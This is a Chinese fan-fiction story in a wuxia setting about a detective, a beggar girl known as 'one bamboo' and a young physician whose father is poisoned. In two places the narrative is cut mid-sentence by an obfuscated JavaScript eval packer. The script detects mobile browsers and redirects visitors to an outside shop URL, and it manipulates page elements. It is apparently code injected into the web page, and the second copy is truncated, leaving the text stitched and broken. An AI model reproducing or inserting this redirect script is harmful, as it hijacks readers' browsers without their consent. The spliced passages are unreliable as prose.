《【明侦】山海之外》 1. 第一章:书接上回 “话说那日山海阁上,各大门派高手齐聚一堂。烈日当空,一俊朗少年走上台前,众人定睛一看,竟是江湖内外赫赫有名的大神探。他受山海派掌门甄掌门之托来到比武大会担当主持,彼时彼刻恰如此时此刻,众人屏气凝神,只等那大神探宣布比赛开始——” “这第一场比试就是重头戏,只听空气似有波动,前排观众的头发丝刚刚飞起还未落下,台上就已多出一位白衣公子。人道‘初晨现柔光,公子世无双’,讲的就是药王谷的少爷,晨药师。晨药师不仅风度翩翩,还生得一副菩萨心肠,经他手下治愈的疑难杂症不计其数。更厉害的是,这晨药师竟然还能在江湖英雄榜上蝉联数月,真是文武双全,六边形战士也!” “非也非也。”下面一道清朗的声音突然打断了他。 众人循声看去,是个个子不高的小男孩,穿着一身破破烂烂却干净的乞丐装,摇头晃脑地说道,“这晨药师从小习药理,学医术,哪有什么时间钻研武艺?论功夫不过是平平无奇罢了,其实他啊……” 台上的说书人无奈地摇了摇头,翻了个白眼,清清嗓子:“咳咳!” 那小乞丐眼珠一转,撇撇嘴,“其实啊,我就是逗大家玩的,晨药师厉害得很,厉害得很。” “切——” 众人一摆手,纷纷身子转回台上,还催促那说书人继续讲下去。 “要说这晨药师第一战遇到的,那可是一位世外高人——鸥拂尘,精通百家功法的修道之人,比武还没开始,上场时拂尘轻轻一甩,就逼得晨药师倒退了一步。” “鸥拂尘是谁,怎么没听说过?” “好像没在咱们野店上过榜吧。” 台下观众开始交头接耳。 “晨药师蝉联好几个月,多少大侠都败在他的手下,竟然被鸥拂尘一扫就逼退一步,足可见鸥拂尘内力深厚,想当年晨药师跟张掌门打了三天三夜都没分出胜负,我看这位鸥拂尘的实力深不可测,恐怕只有当年的甄武林才能一拼了。” “诶,我怎么听说当年晨药师只一招就被张掌门击败了呢?哪有三天三夜啊。” “你胡说八道!晨药师那是蝉联第一太久了独孤求败,才把第一让给你们家张掌门的,别不识好歹!” “什么‘我们家’,张掌门的实力有目共睹!当年的比武冠军,请问你晨药师是什么冠军啊?还有别给我扣帽子,我只是个普通路人!” “还路人,你腰里别着的苍蝇拍我都看见了,这可是苍鹰派的周边,你还说你不是张一剑的粉丝?” “你才是晨药师的脑残粉呢,你身上的药包味儿熏死我了——” 场面一度陷入混乱。 说书人不得不“啪啪”拍起惊堂木,留下一句“欲听后事如何,且听明日分解。”就窜下了台。 小乞丐正美滋滋地吃着花生米看热闹,就见刚才那位说书人坐到了他的桌边,拿起银壶给自己倒了一杯茶,“咕咚咕咚”喝下去。 “——呸,你这怎么是上头水?”说书人五官一皱,抬手按下小乞丐正欲伸向银壶的手,“你少喝点儿。” “无所谓,反正我在这儿吃喝住都不花钱。”小乞丐笑嘻嘻地拍开他的手,自顾自给自己加上头水,“我说,你这位神探怎么不出去查案,在这儿说书说上瘾了?” “江湖上很久没有大案了,门口塞的帖子也净是些找猫找狗的,无聊的很,还不如来这儿给大家说说书,你别说,还挺有意思。”大神探扯扯嘴角,挑眉看着对面的小乞丐,“再说了,当年谋杀甄武林的‘凶手’竟然在我亲自押解的过程中逃了,至今杳无音讯,这可是我神探光辉历史上的一个‘污点’呢。” “是啊,区区铁笼,怎么能难得到古灵精怪的凶手呢?怪不得神探,要怪就怪朝廷的铁笼,质量太差。”小乞丐给两人都倒了上头水,“多喝点儿,这个可是西域进贡的,就两瓶。” “他给你的?” “切,什么他给的,是一支竹给我的。” 熟知一支竹身份的大神探了然一笑。 “小弟。”旁边突然有人凑了过来,“你们刚才,是不是在说一支竹?” 小乞丐和大神探不动神色地对视一眼。 “我们再说这个上头水呢,这名字就叫‘一支竹’。”大神探把杯口伸过去,“您闻闻。” “确实有股竹叶香。”来人对上头水并不是很感兴趣,“一支竹已经消失一年了,您二位不觉得奇怪吗?” 话题又转回到了一支竹身上。 “她——”大神探眼神从小乞丐脸上滑过,“她好像一直都是神出鬼没的吧。 ” “不过我最近听到一个消息。”那人神神秘秘地凑近,突然停下,大拇指揉搓着食指和无名指,来回摩挲。 “我可没钱。”小乞丐一摊手,还顺便展示了一下自己空空如也的小包。 大神探深吸一口气,桌子下面飞快地用力掐了小乞丐一把,另一只手掏出一块碎银子:“我买,够了吗?” “够了够了,爷真大气!”那人笑嘻嘻地收起银子,眼神在两人脸上飞快地扫过,眼中闪过一丝精明,“我听说,一支竹加入了丐,帮。” 小乞丐心里一颤,表面故作惊讶。 “那可难办了,我们丐帮这么多人,谁也不知道一支竹长什么样,怎么找啊。” “这不就说嘛。”那人搓了搓手,眯着眼看向大神探,“所以我这儿还有第二条消息。” 大神探又掏出一块碎银子,顺便把匕首架在了他的颈侧。 周围人已经从争吵进化到拳脚相加,根本没人注意角落几人剑拔弩张的气氛。 那人也不害怕,还伸手从大神探手里拿过银子:“本来这消息不止这么点儿——” “嗯?”大神探把匕首又向前凑了凑。 “但看在您神探的面子上,这消息我当半买半送。”他目光落在小乞丐脸上,“我听说这一支竹善于易容,可身量小巧,如同十四五岁的少年——哎,和这位小兄弟,有几分相似。” 蓉小乞和大神探对视一眼,知道对方早就知道两人的身份,这是假借搭话,实则另有所图。 “你有什么目的?” “我家主人想请二位楼上雅间一叙。”那人留下一句话,一个晃神便躲开了大神探的匕首,等两人反应过来,那人已经消失在了打作一团的人群中。 “想找我,没必要这么装神弄鬼。”大神探看向蓉小乞,眼神里带着担心,“明显是冲着你来的。” 蓉小乞抬头看着二楼,眉头微皱:“可是我不想见他。” “都是上一代的恩怨,没必要牵扯到下一代。”大神探劝道。 “我知道,可我现在怀疑,不只是上一代的恩怨。”她顿了一下,“你还记得,一年前武林大会那天,晨的手里一直有一根绿色的拐杖吗?” 大神探眉头紧锁:“似乎是有吧。” “在我被你们揭穿作案过程,即将关进铁笼的时候,晨似乎是有些得意忘形了,他竟然把那根拐杖交到了我手上,当时我拿到的时候发现,这根拐杖中间有晃动的声音,拐杖里面似乎还有一根棍子。”她压低了声音,“我怀疑那里面就是我们丐帮丢失的镇帮之宝,打猫棒。” 丐帮的打猫棒已经丢失了许多年,因为缺少这个重要信物,导致原本的江湖第一大帮丐帮一直群龙无首,逐年没落,直至现在名存实亡,以至于大部分弟子都成了真正的乞丐。 “你的意思是,是晨药师偷走了打猫棒,目的就是为了削弱丐帮的势力?”大神探秒懂,“可是你也说,打猫棒丢失多年,晨那时候还是个孩子。而且这会不会是魏谷主送给晨药师的,他只当是普通拐杖?” 蓉小乞闻言摇头:“我只是拿了一下就能发现里面不对劲,晨药师一直拐不离手,他又不是傻子,能发现不了?”她叹了口气,“反正我觉得晨药师这个人不简单,虎父无犬子,他爹魏谷主心机深沉,他能是个恋爱脑傻白甜?我有点儿怕他,一直躲着他来着。这些年他去哪我就绕着走,就怕被他发现我知道这件事。” “但现在好像躲不过了。” 大神探指指二楼,赫然是那熟悉的一袭白衣,翩翩公子立在栏杆旁,手上甚至还拿着那根拐杖。 看见两人,晨药师微微一笑,桃花眼流转着水润的光,嘴唇微张。 “请。” 大神探带着蓉小乞,趁乱上了二楼。 不远处,一双眼睛看到这一切,也跟着悄悄离开了大堂。 二楼的第二间是何小宝给晨药师留的房间,一推门,就是一阵清新的药草香。晨药师坐在茶台前,优雅地一抬手。 “故人许久未见了,请坐吧。” “装什么啊,我天天都在这儿,你也一个月来二十多回。”大神探大喇喇撩起袍子就坐下。 蓉小乞忐忑地坐在一旁,努力控制着视线,不让自己去看就靠在桌边的那根翠绿色的手杖。 “不是说你,我是说‘一支竹’。”他看向蓉小乞,“一年没见了,找了你好久。后来想着还是这里能白吃白喝,你肯定回来,就还是来这儿等你了。” “又便宜不占王八蛋,这就是我们的酷丐。”大神探摇头晃脑,“哎对了,没听说你最近摔了啊,怎么还拄上拐了?” 和蓉小乞不同,他眼珠一转,就直接就指着手杖问出心中疑惑。 蓉小乞在一旁坐着都要吓死了。 这空气里的药香,不会都是慢性毒药吧? 真不应该喝大刚才递过来的那杯茶,里面肯定是剧毒! 坐垫是不是也被他放钉子了,怎么感觉也怪怪的…… 坏了,刚才进门的时候是我伸手推的门,门框上不会也涂了毒药吧! 蓉小乞越想越后怕,还顺便剜了大神探两眼。 “你们从一进门,就一直盯着这个拐杖……”晨药师看了看两人,眼神冰冷。 蓉小乞和大神探忍不住缩在一起。 他俩加起来,武力值肯定是能胜过眼前这人,可就像蓉小乞刚才自己脑子里琢磨的那样,从进门到现在,晨药师已经有无数种方式可以给两人下毒。 “哈哈哈哈哈——”晨药师突然放声大笑,而且越笑越开心,眼泪都要出来了。 蓉小乞&大神探:“……” “你们,你们不会以为,我杀了丐帮帮主,偷了他们的镇帮之宝吧。”他笑得上气不接下气,满脸都是恶作剧得逞的快意。 他把拐杖上面翠绿色的宝石拧开,将拐杖倒置,一根两指粗的棕色棍子从里面滑了出来,大约一米高,头上向前了一个金刚石的微型猫头。 “真的是打猫棒!” 蓉小乞惊呼,眼神在晨药师和打猫棒之间来回流窜。 “喏。”晨药师大方地把打猫棒递过来。 “他……”蓉小乞看看大神探,“你……”又转向晨药师,“这个……”最后落在打猫棒上。 “一年了,这打猫棒一直在我手上,只有一年前抓你那一次我失误把它交到了你的手上,没想到片刻就被你察觉到有问题。” “不是说在里面逛荡吗,是人都能发现有问题吧。”大神探不信邪,把打猫棒重新塞回手账中,却发现里面两者几乎是严丝合缝地卡在一起,不管怎么晃都听不出声音。 蓉小乞表情有点小得意:“我好歹也是一支竹,这点儿小伎俩瞒不过我。”她又正色道,“那你为什么……” 话还没说完,外面传来一阵敲门声。 “进来。” 来人赫然就是刚才在楼下和蓉小乞大神探两人对话的那个随从。 “蓉姑娘和神探大人都是自己人,快说吧,如何?”晨药师说道,语气中似有些期待,可当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437193|141479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神落在他背后时,又突然带了几分失落。 “少谷主,属下办事不力,没有抓到那人。” 晨药师轻叹口气:“不用多想,你的功夫远不如她,抓不到,也很正常。”他挥挥手,“去忙你的吧。” 待那下属关好房门,蓉小乞这才意识到自己是被晨药师利用了。她一拍桌子跳起来:“我就知道你不是好人,她虽然挑起武林争斗,但到底也没杀你父亲,那‘寄虫’不是也解了吗?为什么你还是追着她不放!” -为什么追着她不放,不就是一个女人吗? -不是她,还会有别人。 -你们不过就相处了几天,至于念念不忘吗? -大不了就像你父亲那样,画幅画,放在房间里。 可是那幅画晨药师从来没见他打开过,十几年了,被他找到的时候,上面蒙了一层厚厚的灰尘。 晨药师自然是知道,自己的爹娘十分恩爱。 十四年前那个女孩,也不过是自己父亲一统江湖计划其中的一环里,一段美艳的插曲罢了。 “云烟?”魏谷主听到这个名字后,眉头一皱,看向儿子的眼神有些犀利,“你怎么知道的这个名字?” “听张一剑他们说的。”晨药师谎称道,“说是很久以前有个叫七毒教的门派,里面弟子个个像仙女一般,其中最美的就叫云烟,是她们的圣女。” “圣女……”魏谷主这才如梦初醒一般,“哦,是她啊。” 晨药师看着那张和自己几乎完全相似,可比自己多了几分岁月痕迹的脸,还有那双和平日相差无二的眼眸,里面只有回忆,没有怀念,没有愧疚,没有爱。 “七毒教是为祸武林的邪教,如今已经覆灭,都是往事了。”魏谷主这样说道。 “她们真的是邪教吗?”晨药师忍不住开口追问,“父亲,我一直敬重您,可是现在我真的不知道您这些年都在做什么。九王爷、甄武林,他们的狼子野心昭然若揭——” “住口!”魏谷主面露不悦,厉声打断了他,“晨儿,你到底在外面听了什么风言风语?” 晨药师衣袍下的手攥紧,声音微微颤抖:“匹夫无罪,怀璧其罪,七毒教到底是不是邪教,您自己到底在做什么,您心里自己清楚。如今甄武林已死,您最好好好想想,自己以后还有什么出路。” 说完他就一甩袖子,愤而离开。 他这一走,就是直接离开了药王谷。 晨药师在森林中穿行了一夜,终于来到了大漠边缘。 一队骆驼响着驼铃从他身边慢悠悠地走过,骆驼背上的商队打着的旗子上有野店的符号,晨药师不知该往哪走,索性跟着商队前行。白天的大漠酷热异常,夜间又温度骤降,晨药师出来的匆忙,身上连包袱都没带,白色的衣袍被冷风一吹,冻得他微微打颤。 商队在不远处扎起帐篷,晨药师想了想,还是起身,走到最近的一顶,拱手道:“主人家,可否借个方便,给在下几件旧衣服御寒?” 等了片刻,帐篷里面的人掀开帘子,走了出来,递给晨药师一张厚重的毛毯。 “多谢姑娘。”晨药师接过毛毯,飞快地披在身上。久违地被包裹的感觉,让他发白的嘴唇微微有了几分血色。 那姑娘也不回应,只是越过他走到另一个帐篷里,拿了一个火盆和一堆木柴出来,在帐篷前面生起篝火。 晨在篝火旁坐下,整个人裹在毛毯里,眼里有火光在跳动。 “傍晚看到你晕了。”那姑娘在他旁边坐下,突然开口问,“你受伤了?” 她带着一些西域口音,皮肤是常年在沙漠穿行晒出的古铜色,眼睛很黑很亮,说话的时候喜欢盯着对方。 晨药师抱着膝盖,摇头道:“是中毒。” “很痛吗?” “钻心蚀骨。” 那姑娘问:“不去找下毒的人给你解毒吗?” 晨药师苦笑:“下毒的人失踪了,我找不到她,也有些害怕找她。”自己的父亲设计杀了她们全岛的人,而她也只是给她下毒而已,这仇报得已经很轻了。 “既然这么疼,还不如不要忍,直接死了。”那姑娘语出惊人。 晨药师轻轻摇了摇头:“我还有要做的事,不能死。”他故作轻松地说道,“其实痛得多了,也就适应了,就像今天,其实痛起来已经比昨天、前天要好忍受得多。” “能忍受还会晕?”姑娘毫不留情地戳穿。 “至少晕之前清醒的时间更多了。”晨扯扯嘴角,“算是有进步吧。” “清醒着疼,岂不是更难熬。”那姑娘突然起身,朝他的方向走了一步,又挨着他坐下。 火光映在两人的眼中,像跳跃的潭水。 “你说你有要做的事,是什么?” 晨看着火堆中在燃烧的木柴,回想起两日前山海阁上发生的一切,微微垂眸。 “有个地方被一群人搅得一团糟,我希望可以恢复这个地方的秩序,让那里重新成为它该成为的样子。” “靠你一个人吗?” “当然不是。”晨药师笑了笑,“所幸和我一样想法的人还有几位,我们可以一起让那里慢慢变好。” “那些人是谁。”姑娘慢慢靠近,声音落在晨药师的耳朵里却愈发遥远。 这种感觉很熟悉,就像……就像预赛那天晚上,他在山海阁的院子里,他去寻她的时候一样。 “……我不能告诉你……”晨药师感觉自己仿佛坠入一片混沌之中,大漠、星空、帐篷、火焰、全都变成跳跃的线条,扭曲在一起,分不出彼此。 “张一剑、何小宝、蓉小乞、大神探……”姑娘在他耳边念出这四个名字。 晕倒之前,晨药师的记忆里就只剩下姑娘那一对亮闪闪的黑眸。 那眼眸中似有百年前的星光,朝他山呼海啸而来。 2. 第二章:书接上回 “晨药师,晨药师?” 一阵女声的呼唤将晨药师从回忆里拉了出来。 明明是一年前发生的事了,偏偏每个细节都像刻在脑子里一样生动。 “我没有什么恶意。”他苦笑道,“只不过是心有执念罢了。” 即使就算见了面也不知道该说些什么,寻找她好像已经成为了一种习惯。 父辈的恩怨终究还是给他们的生活带来了巨大的影响,不是一句轻飘飘的“恩怨两清”就可以真正放下。 “你有执念归你有执念,折腾别人算怎么回事?”说到这里,大神探就来气了,他一年没找到说话的人,好不容易见到蓉小乞,有了倾诉的对象,话匣子立刻敞开。 “你还记得那个‘仙姑事件’吗,神经病似的,都快给人塑造成观音菩萨了!我要是她,我也不出来见你。” 蓉小乞听得一脸纳闷:“什么啊?‘仙姑’,谁,你?”她看向晨药师,“你要当仙姑?” 大神探还挺纳闷:“你不知道吗?满江湖闹得沸沸扬扬,连续两个月在江湖小报上都是头版头条!” 蓉小乞不好意思地挠挠头:“呃,我回了玄青岛,最近才出来,实在是不知道原来还发生过这么……离奇的事。” “倒也不是离奇,就是离谱吧。”大神探趁着下巴,阴阳怪气地,“不过就是有些人,仗着自己医术精湛,到处给人下那种不致命的小毒,然后再捏造一个七毒教的‘云烟仙姑’下凡赠药救人性命;还以仙姑弟子的名义到处开仓施粥、劫富济贫——” “哪有你说的那么夸张。”晨药师抿抿唇。 “芒国第三十二座云烟庙七天前刚在大漠月亮泉落地,还是野店老板亲自去剪的彩,你说夸不夸张?” 晨药师忍不住挺了挺腰杆子:“我查过了,她们七毒教的功法很多都是医毒兼备,不少我们药王谷都没有掌握的先进技术,如今她在外云游,我作为掌握这些医术的人,理应好好把它们用在治病救人的正道上。” “切——”大神探白眼快翻上天了。 “至于那些云烟庙。”晨药师一脸正经,语气平静,“那都是她应得的。” “她都102岁了,早就不追求这个名利了。”虽然被鸥拂尘利用了好几年,但对于她的脾气性格,蓉小乞自诩还是了解一些,“七毒教已经没了,她的家也没了。那年她之所以选择离开,选择最后帮你解除寄虫,不是因为她原谅了那些伤害过她的人,而是她放下了。”她顿了一下,毫不留情地戳穿他,“至于你做的这些,不过是自我感动罢了。你想帮她还你们药王谷的债,那可是几十条人命,灭门的仇,你还得起吗?” 是啊,他父亲欠七毒教的,又怎么能是这些虚名能弥补的。 晨药师何尝不知道。 “你说得对。”被戳破心事,他也依旧很平静,“我不是在帮任何人赎罪,我只是在帮我自己寻求一个解脱的办法。” 可是那又怎么办,总不能什么都不做吧。白天思念,一到晚上就悔恨、自责、心痛,这些情绪每每在想到她帮他解了寄虫之后就更加强烈。以前最喜欢的医术也看不下去,逃课也要去听的戏码也味同嚼蜡,开头那些时日过得不说是如同行尸走肉,也可以说是茫然到根本没有了方向。 还是后来回到野店,重新见到何小宝,一番彻夜畅谈后,他才决定总要做点什么,让自己能感受到自己还活着。 活着,顺便找找她,就算找不到,就算是与空气斗智斗勇,好像也比以前要有趣得多。 “我们之中,最没有放下的就是你。”蓉小乞这么说,“责任心太强的人,最容易钻牛角尖,你再这样下去,就算我是鸥,我也不会想要见你。”她捧着脸,叹了口气,“而且你想用我把她引出来,实在是有点天真,她了解你,知道你根本不会伤害我,而且这是野店,是最安全的地方了,我这次回来,也是——” “少,少谷主!” 门突然被人从外面大力推开,还是刚才那个小厮,踉踉跄跄地跑了进来,手里攥着一张羊皮纸,面露惊恐,声音微微颤抖。 “怎么了?” 那小厮吞了口口水,五官紧张地都挤到了一起:“少谷主,谷主他……他,他被人在谷中暗杀,众人已经拼尽全力抢救……但是,但是……” 晨药师上前一步,从他手里抢过羊皮卷,细细辨认字迹确实来自母亲。 “魏谷主他……” “我的父亲谢世了。”晨药师深吸一口气,“抱歉二位,我要回谷一趟,麻烦二位帮我将这个消息带给何店主和张帮主。” 如果说有什么新闻比甄武林在自己山海派的山海阁被杀劲爆,那就一定是药王谷魏谷主在自己的药王谷被毒死了。 武功尚有高低,甄武林如此高强的功夫,就算不是精心谋划,也有可能被乱拳打死老师傅,可魏谷主的医术是公认的天下第一,尤其是在解毒这方面更是登峰造极。 相传当年魏谷主还是年轻的时候,药王谷还没有现在这么大的名气,那时的魏谷主在外云游,妙手回春,医治好了许多疑难杂症。邪教七毒教不服魏谷主的解毒术,为了跟他斗法,竟然派了个身上中了八十多种毒的人来药王谷求医,魏谷主留了那人一年,把那人身上的毒全部清除,并赢得了这场比试。 而众帮派也不齿七毒教的这种挑衅行径,再加上那时江湖上传起风言风语,说最近有许多外出历练的各派弟子都无缘无故失踪,是七毒教绑架了这些弟子,要挟他们说出门派武功秘籍,七毒教一下子被冠上“邪教”的名头。 可七毒教藏在深山之中,无人知晓他们的老巢所在,最终还是魏谷主亲自出马,和山海派的甄掌门一起找到了七毒教的大本营,并将教内的邪恶之徒一举歼灭,为江湖铲除了这颗毒瘤。 那之后,药王谷名声大噪,一时间求医问药之人络绎不绝,魏谷主虽然有以一己之躯泽被天下的雄心壮志,但还是力不从心,只能在药王谷的外面开设了一个医馆,与弟子轮流坐诊,为了提高问诊效率,魏谷主还主动戴上面具,防止病人分心。 为此江湖中一直流传着一句赞扬魏谷主的美言—— “颜值,只是魏谷主最不值一提的优点。” 就是这么一个完美的人,一个没有道德瑕疵,充满了高级趣味的人,在医术和解毒术方面独孤求败的人,却在自己的药王谷中被人毒害了。 “这是阴谋!一定是阴谋!” 蓉小乞与大神探赶到的时候,药王谷的门口已经聚集了大批围观群众,他们大多都是曾经受过药王谷恩惠的人,自发地身着白衣白布,有的在药王谷门口哭得稀里哗啦,有的则是义愤填膺,甚至拉起了横幅,要求药王谷还魏谷主一个公道。 “我没看错吧。”大神探揉了揉眼睛,“药王谷还魏谷主一个公道?”他觉得自己小脑一瞬间萎缩了,“魏谷主不是药王谷的人吗,没有比药王谷更不希望魏谷主死在自己地方的了吧。” “下毒这种事,又是在自己地盘上,确实只有亲近的人才能好下手。”蓉小乞说道 “那可不一定,要是什么都这么简单,还要我这个神探做什么?” 蓉小乞瞥了他一眼:“怎么,你侦探的DNA又动了?” “还是算了吧,怎么说也是晨药师的家事,等会儿我们先进去问问什么情况再说。”大神探回答道。 药王谷到处都是毒虫毒草药材药草,一般人根本不敢贸然进入,只能都挤在了门口。 蓉小乞和大神探溜边往里走。 “哎呦!” 大神探一个不留神,差点踩到坐在路边的一个人。 那人笔被自己甩飞了,忙连滚带爬地过去捡起来,又飞快地回来继续奋笔疾书。 “哥们儿写什么呢?”大神探抻着脖子看。 “……魏谷主貌美如花的妻子经调查实则是隔壁木兰国派来的奸细,潜伏身边多年,就是为了窃取药王谷的珍稀药材和药房,制成传说中的大力神丸,再提供给木兰国的军队?”蓉小乞念出他写的内容,眉头紧皱,“这什么乱七八糟的啊!” 那人头也不抬:“你们不懂,现在这么写才有卖点!” “哥们儿从哪听说的这些消息啊?”大神探按住想发火的蓉小乞,问,“保真吗?” “保,当然保!在下保这里面百分之百——”他压低了声音,“都是编的。” “编的你还敢这么写,这么编排人家谷主夫人,小心药王谷的人找你算账!”蓉小乞气不打一处来。 “嘿嘿,我才不怕。”他举起自己手里的眼皮卷,指着左边交上一行微不可见的小字。 “本作品纯属虚构,如有雷同纯属巧合。” “文学作品,可不是新闻哦。”那人贱兮兮地笑着。 蓉小乞看着这人得意洋洋的可恶嘴脸,劈手抢过他的羊皮卷,另一只手捏起黑金微针,就想出手。 “你捏造假信息,蓄意挑拨芒国木兰国两国关系,我现在怀疑你是别国派来的奸细。” 突然不知道从哪里出来一只手按住了蓉小乞的手腕,另一只手越过她的头顶,将羊皮卷拿到自己手上。 蓉小乞一转头,正好看到何小宝紧绷的下颌线和凌厉的眼神。 话音刚落,他身后的两个黑衣人就冲了上来,捂着嘴把那人带走,很快消失在了人群中。 “小祁。” 何小宝松了手,眼神又恢复了往日的温柔,“这里人多,你的黑金微针容易误伤别人,这个人交给我吧,我让手下去调查。” 至于那个羊皮卷,他拿出药水滴在上面,一阵白烟过后,羊皮卷上的文字消失得干干净净。 “来了。”大神探跟他打了个招呼,同时也看到了,已经带着山海派和苍鹰派门派弟子到了门口,正在组织维护秩序的张一剑。 “接到消息我们就赶过来了,目前外面风言风语太多,这里也不是说话的地方,咱们先进谷,看看到底是什么情况再说。”何小宝说道。 何小宝带着蓉小乞和大神探走到门口,张一剑冲三人点点头,四个人一起朝着谷里的方向走。 而门口的侍从也早就接到了晨药师的指令,开门把四人放了进去。 “哎!他们是谁啊,怎么他们能进去呢,我们也要进去!”围观群众中有一个突然大喊, “你瞎了眼了!”他后脑勺被打了一下,“那是大神探、野店的何店长和山海派的张掌门,他们是晨少谷主的朋友,现在去肯定是帮忙的,你跟着添什么乱!” “我不是说他们,我是说旁边那个小乞丐,他是谁啊。” 何小宝前进的脚步突然停了下来,转头看向刚才说话的人。 他虽然面色温和,可气场却不怒自威,周围一瞬间安静了下来。 “这位是丐帮的蓉小祁,她也是晨少谷主的朋友。” 围观的人立刻反应过来:“她就是丐帮的少年侠客蓉小祁?抓了一支竹的蓉小祁?没想到这样神秘的少年侠客也是晨少谷主的朋友。咱们药王谷真是好人有好报,交友遍天下啊!” “现在药王谷突遭巨变,我和各位侠士前来帮忙,事后关于谷主遇害的情况,我会在充分了解清楚之后张贴在野店的江湖快报栏里,在那之前还请大家不要相信任何风言风语。大家都曾经受过药王谷的恩惠,希望在这个时候大家能够团结起来,保持冷静,不要再给药王谷增添额外的负担。”张一剑补充道。 “各位跟随山海派和苍鹰派的弟子出谷,我们在驿站给大家安排了房间休息。” 看着在张一剑指挥下,那些人闹哄哄地跟着往外走,大神探忍不住锤了张一剑肩膀一下:“行啊老弟,越来越有掌门范儿了。” “人家现在肩膀上挑着两个门派责任,那跟你似的,天天正事儿不干说书玩儿。”蓉小乞白了他一眼。 “我那是——”大神探眼珠一转,“我不告诉你我为什么说书,我也不告诉你为什么你是少年侠客蓉小祁。” “哦对哦。”蓉小乞一拍脑门,“刚才说我抓了一支竹?这谁传出去的啊,少年侠客……我这一年没出来,外面的世界怎么都看不懂了,到底怎么回事啊!哎你别跑,你跟我说说!” 四人说说闹闹地朝药王谷里走去。 “……这件事一定要悄悄去做,不要声张。” 嘱咐完最后一句话,手下领了命退下,晨药师转身看着默默流泪的母亲,叹了一口气。 心中的悲恸无法控制,从眼睛里不断涌出。晨也想为父亲流几滴眼泪,可想起一年前比武那天小武的死状,想起七毒教被灭门的惨案,想起因为这些恩怨勾连出的那些风风雨雨,晨药师心里像是憋着一团气,不知道从哪里才能发泄出来。 一回谷,他就开始冷静地处理父亲的后事,有条不紊地接手谷里的大小事务。面对父亲青白的脸,他目不斜视地为他验尸、检验毒物,安排心腹排查谷内人员、无声无息地展开地毯式搜索…… “晨儿。” 到了母亲休息的时间,她擦了擦眼泪,撑着椅子的扶手艰难地站起来,“我先回去休息了,你也别太劳累。” “知道了,母亲。”他点点头,“我约了几个朋友过来,稍等一起商量一下父亲的讣告该如何写,另外今日可能谷内会有些骚乱,母亲在房间里安心休息便是。” “你父亲行医半生,救人无数,却最后还落得个这样的下场,足可见一恶抵百善,即使是赎罪,也是有罪在先,恶因已经种下,再怎么修补也无济于事。” 晨药师回谷的第一天晚上,就和母亲彻夜畅谈,他那时候才知,对于父亲做下的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“保住药王谷的名声,就是保住我们药王谷,我们这里的所有人世世代代生活在这里,这里在其他人眼中是多么值钱的一块肥肉,你应该知道!你父亲是作恶的人,我们这些人就是他作恶的因,还有你!这个武功平平,天天逃课的淘气儿子!我们都逃不了!” 母亲收回颤抖的手,“你以前不知道还则罢了,可是现在既然你什么都知道了,这就是你少谷主必须背负的责任。任何人都可以唾骂你的父亲,但你、我——我们都没有资格。” ?? 送走母亲,晨药师自己站在大堂内。 母亲前天晚上说过的话,这两天像是魔咒一样在他心头绕来绕去,他无法休息,一闭上眼睛,就是感觉自己的肩膀有千斤重。 母亲说得对,是他太天真,被保护得太好了。 他总以为世界上的人都是善良的,可事实证明,如果没有张一剑,他似乎连药王谷门口聚起来的那些武林人士都疏散不了。 他的父亲无法像玄青岛的岛主一样用自绝来保护玄青岛,守护药王谷的方式只有一个,那就是他活着。 那么现在这份担子落在了他的身上,他又是否自信自己可以守护住这片净土呢? ?? “少谷主。” 下属过来通报,“张掌门一行人已经到前厅了。” 晨药师点头:“我这就过去。” “还有。”下属补充道,“我们搜查了谷内所有的人员,谷主被害后,药庐失踪了一名药童,书房失踪了一位婢女,这是他们入谷时候登记的身份信息和其他查到的内容”他呈上了一卷羊皮卷,“书房还损失了大量谷主在世时留下的药房手稿,只不过那些都是已经公开印制成册在武林中流传过的,不知道是否是谷主生前自己处理了那些手稿。” “知道了。”晨药师收下羊皮卷,“我去会客,张掌门他们不是外人,有最新消息,直接敲门汇报即可。” “是。” ?? 前厅内,大神探在跟蓉小乞咬耳朵,他把这一年来江湖上流传的关于丐帮少侠“蓉小祁”的故事都添油加醋地讲给她听,晨药师到的时候,大神探正讲到第六回。 “第六回,乱点谱少侠智斗西毒欧阳疯,破戏法小祁五指山妙除三害——” ?? 刚讲了个开头,晨药师就走了进来。 “当神探真是委屈你了,看来说书才是你的强项。”听见那离谱的标题,晨忍不住说道。 “是啊,还说自己的打赌输了‘被迫’在野店说书,我看他根本是如鱼得水。”蓉小乞听得倒上瘾,反正对她来说这些都是别人的故事,她就当真听书了。 “哥们儿这叫认真负责、干一行爱一行。”大神探抱着手臂,“要不然就一年前的武林大会那点儿事儿也讲不了半年啊。” 相较于大神探和蓉小乞,张一剑和何小宝就正经得多。 他俩更关心的还是现在药王谷的情况。 “我父亲确实是中毒身亡,而且这种毒还是慢性毒药,至少在我父亲身体里已经潜伏了十年以上。这种毒的发作机制和寄虫有些像,会逐渐随着中毒时间的增长蔓延到五脏六腑,平时对身体没有什么影响,最后激发药性则是需要药引,中毒的程度根据中毒时间表现不同,如果只是一两个月,中毒症状可能是腹痛;三五年可能会致残,而像我父亲这样中毒十多年的,则会立刻毙命。” “十年以上?”张一剑和何小宝对视一眼,“会不会是甄武林为了控制药王谷,给魏谷主下了这种毒?” “不确定。”晨药师皱了皱眉,“我也只是在医书上看到过关于这种毒的记载,而且这种药配置起来很难,重要的是里面大部分的药材我都没有见过。” “连你都不知道?”张一剑分析,“那说明这些药材至少不是在芒国国土上土生土长的。” “木兰国的奸细!”蓉小乞拉了拉何小宝的袖子,“刚才在门口,我们抓了个乱写绯闻小报的人,那个人写的内容里可能蓄意挑拨芒国和木兰国的关系,会不会是奸细做的?” 